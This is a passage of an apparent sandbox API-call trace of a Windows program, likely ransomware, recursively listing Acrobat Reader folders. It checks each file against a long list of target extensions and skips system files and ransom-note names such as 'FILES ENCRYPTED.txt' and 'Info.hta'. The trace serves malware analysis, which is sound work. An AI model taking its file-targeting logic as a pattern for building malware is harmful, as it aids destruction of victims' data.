returned 4 [0276.830] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".fxg") returned 4 [0276.831] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".geo") returned 4 [0276.831] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".gif") returned 4 [0276.831] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".grs") returned 4 [0276.831] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".gz") returned 3 [0276.831] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.831] lstrlenW (lpString=".h") returned 2 [0276.831] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.831] lstrlenW (lpString=".hdr") returned 4 [0276.831] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".hpp") returned 4 [0276.831] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".hta") returned 4 [0276.831] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".htc") returned 4 [0276.831] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".htm") returned 4 [0276.831] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".html") returned 5 [0276.831] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1 [0276.831] lstrlenW (lpString=".icb") returned 4 [0276.831] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".ics") returned 4 [0276.831] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".iff") returned 4 [0276.831] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".inc") returned 4 [0276.831] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1 [0276.831] lstrlenW (lpString=".indd") returned 5 [0276.831] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1 [0276.832] lstrlenW (lpString=".ini") returned 4 [0276.832] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".iqy") returned 4 [0276.832] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".j2c") returned 4 [0276.832] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".j2k") returned 4 [0276.832] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".java") returned 5 [0276.832] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1 [0276.832] lstrlenW (lpString=".jp2") returned 4 [0276.832] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".jpc") returned 4 [0276.832] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".jpe") returned 4 [0276.832] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".jpeg") returned 5 [0276.832] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1 [0276.832] lstrlenW (lpString=".jpf") returned 4 [0276.832] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".jpg") returned 4 [0276.832] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".jpx") returned 4 [0276.832] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1 [0276.832] lstrlenW (lpString=".js") returned 3 [0276.832] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0276.832] lstrlenW (lpString="plugin.js") returned 9 [0276.832] lstrlenW (lpString=".love$") returned 6 [0276.832] lstrcmpiW (lpString1=".love$", lpString2="gin.js") returned -1 [0276.832] lstrlenW (lpString="plugin.js") returned 9 [0276.832] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1 [0276.832] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1 [0276.832] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1 [0276.832] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1 [0276.832] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1 [0276.833] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1 [0276.833] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1 [0276.833] lstrcmpiW (lpString1="finbbp.exe", lpString2="plugin.js") returned -1 [0276.833] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js") returned 151 [0276.833] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0276.833] lstrlenW (lpString="selector.js") returned 11 [0276.833] lstrlenW (lpString=".1cd") returned 4 [0276.833] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0276.833] lstrlenW (lpString=".3ds") returned 4 [0276.833] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1 [0276.833] lstrlenW (lpString=".3fr") returned 4 [0276.833] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1 [0276.833] lstrlenW (lpString=".3g2") returned 4 [0276.833] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1 [0276.833] lstrlenW (lpString=".3gp") returned 4 [0276.833] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1 [0276.833] lstrlenW (lpString=".7z") returned 3 [0276.833] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.833] lstrlenW (lpString=".accda") returned 6 [0276.833] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1 [0276.833] lstrlenW (lpString=".accdb") returned 6 [0276.833] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1 [0276.833] lstrlenW (lpString=".accdc") returned 6 [0276.833] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1 [0276.833] lstrlenW (lpString=".accde") returned 6 [0276.833] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1 [0276.833] lstrlenW (lpString=".accdt") returned 6 [0276.833] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1 [0276.833] lstrlenW (lpString=".accdw") returned 6 [0276.834] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1 [0276.834] lstrlenW (lpString=".adb") returned 4 [0276.834] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".adp") returned 4 [0276.834] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".ai") returned 3 [0276.834] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.834] lstrlenW (lpString=".ai3") returned 4 [0276.834] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".ai4") returned 4 [0276.834] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".ai5") returned 4 [0276.834] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".ai6") returned 4 [0276.834] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".ai7") returned 4 [0276.834] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".ai8") returned 4 [0276.834] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".anim") returned 5 [0276.834] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1 [0276.834] lstrlenW (lpString=".arw") returned 4 [0276.834] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".as") returned 3 [0276.834] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.834] lstrlenW (lpString=".asa") returned 4 [0276.834] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".asc") returned 4 [0276.834] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1 [0276.834] lstrlenW (lpString=".ascx") returned 5 [0276.834] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1 [0276.834] lstrlenW (lpString=".asm") returned 4 [0276.835] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".asmx") returned 5 [0276.835] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1 [0276.835] lstrlenW (lpString=".asp") returned 4 [0276.835] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".aspx") returned 5 [0276.835] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1 [0276.835] lstrlenW (lpString=".asr") returned 4 [0276.835] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".asx") returned 4 [0276.835] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".avi") returned 4 [0276.835] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".avs") returned 4 [0276.835] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".backup") returned 7 [0276.835] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1 [0276.835] lstrlenW (lpString=".bak") returned 4 [0276.835] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".bay") returned 4 [0276.835] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".bd") returned 3 [0276.835] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.835] lstrlenW (lpString=".bin") returned 4 [0276.835] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1 [0276.835] lstrlenW (lpString=".bmp") returned 4 [0276.835] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1 [0276.836] lstrlenW (lpString=".bz2") returned 4 [0276.836] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0276.836] lstrlenW (lpString=".c") returned 2 [0276.836] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.836] lstrlenW (lpString=".cdr") returned 4 [0276.836] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1 [0276.836] lstrlenW (lpString=".cer") returned 4 [0276.836] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1 [0276.836] lstrlenW (lpString=".cf") returned 3 [0276.836] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.836] lstrlenW (lpString=".cfc") returned 4 [0276.837] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".cfm") returned 4 [0276.837] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".cfml") returned 5 [0276.837] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1 [0276.837] lstrlenW (lpString=".cfu") returned 4 [0276.837] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".chm") returned 4 [0276.837] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".cin") returned 4 [0276.837] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".class") returned 6 [0276.837] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1 [0276.837] lstrlenW (lpString=".clx") returned 4 [0276.837] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".config") returned 7 [0276.837] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1 [0276.837] lstrlenW (lpString=".cpp") returned 4 [0276.837] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".cr2") returned 4 [0276.837] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".crt") returned 4 [0276.837] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".crw") returned 4 [0276.837] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".cs") returned 3 [0276.837] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.837] lstrlenW (lpString=".css") returned 4 [0276.837] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".csv") returned 4 [0276.837] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".cub") returned 4 [0276.837] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1 [0276.837] lstrlenW (lpString=".dae") returned 4 [0276.837] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dat") returned 4 [0276.838] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".db") returned 3 [0276.838] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.838] lstrlenW (lpString=".dbf") returned 4 [0276.838] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dbx") returned 4 [0276.838] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dc3") returned 4 [0276.838] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dcm") returned 4 [0276.838] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dcr") returned 4 [0276.838] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".der") returned 4 [0276.838] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dib") returned 4 [0276.838] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dic") returned 4 [0276.838] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dif") returned 4 [0276.838] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".divx") returned 5 [0276.838] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1 [0276.838] lstrlenW (lpString=".djvu") returned 5 [0276.838] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1 [0276.838] lstrlenW (lpString=".dng") returned 4 [0276.838] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".doc") returned 4 [0276.838] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".docm") returned 5 [0276.838] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1 [0276.838] lstrlenW (lpString=".docx") returned 5 [0276.838] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1 [0276.838] lstrlenW (lpString=".dot") returned 4 [0276.838] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1 [0276.838] lstrlenW (lpString=".dotm") returned 5 [0276.839] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1 [0276.839] lstrlenW (lpString=".dotx") returned 5 [0276.839] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1 [0276.839] lstrlenW (lpString=".dpx") returned 4 [0276.839] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".dqy") returned 4 [0276.839] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".dsn") returned 4 [0276.839] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".dt") returned 3 [0276.839] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.839] lstrlenW (lpString=".dtd") returned 4 [0276.839] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".dwg") returned 4 [0276.839] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".dwt") returned 4 [0276.839] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".dx") returned 3 [0276.839] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.839] lstrlenW (lpString=".dxf") returned 4 [0276.839] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".edml") returned 5 [0276.839] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1 [0276.839] lstrlenW (lpString=".efd") returned 4 [0276.839] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".elf") returned 4 [0276.839] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".emf") returned 4 [0276.839] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".emz") returned 4 [0276.839] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1 [0276.839] lstrlenW (lpString=".epf") returned 4 [0276.839] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1 [0276.840] lstrlenW (lpString=".eps") returned 4 [0276.840] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0276.840] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0276.840] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0276.840] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0 [0276.840] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0276.840] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0276.840] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0276.840] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0276.840] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0276.840] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0276.840] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0276.840] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0276.842] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0276.842] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0276.842] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0276.842] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0276.842] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf") returned 105 [0276.842] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf") returned 1 [0276.842] lstrlenW (lpString="combinepdf") returned 10 [0276.842] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="combinepdf") returned -1 [0276.843] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5060050 [0276.843] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf") returned 105 [0276.843] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\*", lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0276.909] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.909] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0276.910] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css") returned 109 [0276.910] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css") returned 1 [0276.910] lstrlenW (lpString="css") returned 3 [0276.910] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1 [0276.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0276.910] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css") returned 109 [0276.910] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0276.910] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.910] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0276.910] lstrlenW (lpString="main-selector.css") returned 17 [0276.910] lstrlenW (lpString=".1cd") returned 4 [0276.910] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0276.910] lstrlenW (lpString=".3ds") returned 4 [0276.910] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0276.910] lstrlenW (lpString=".3fr") returned 4 [0276.910] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0276.911] lstrlenW (lpString=".3g2") returned 4 [0276.911] lstrcmpiW (lpString1=".3g2", 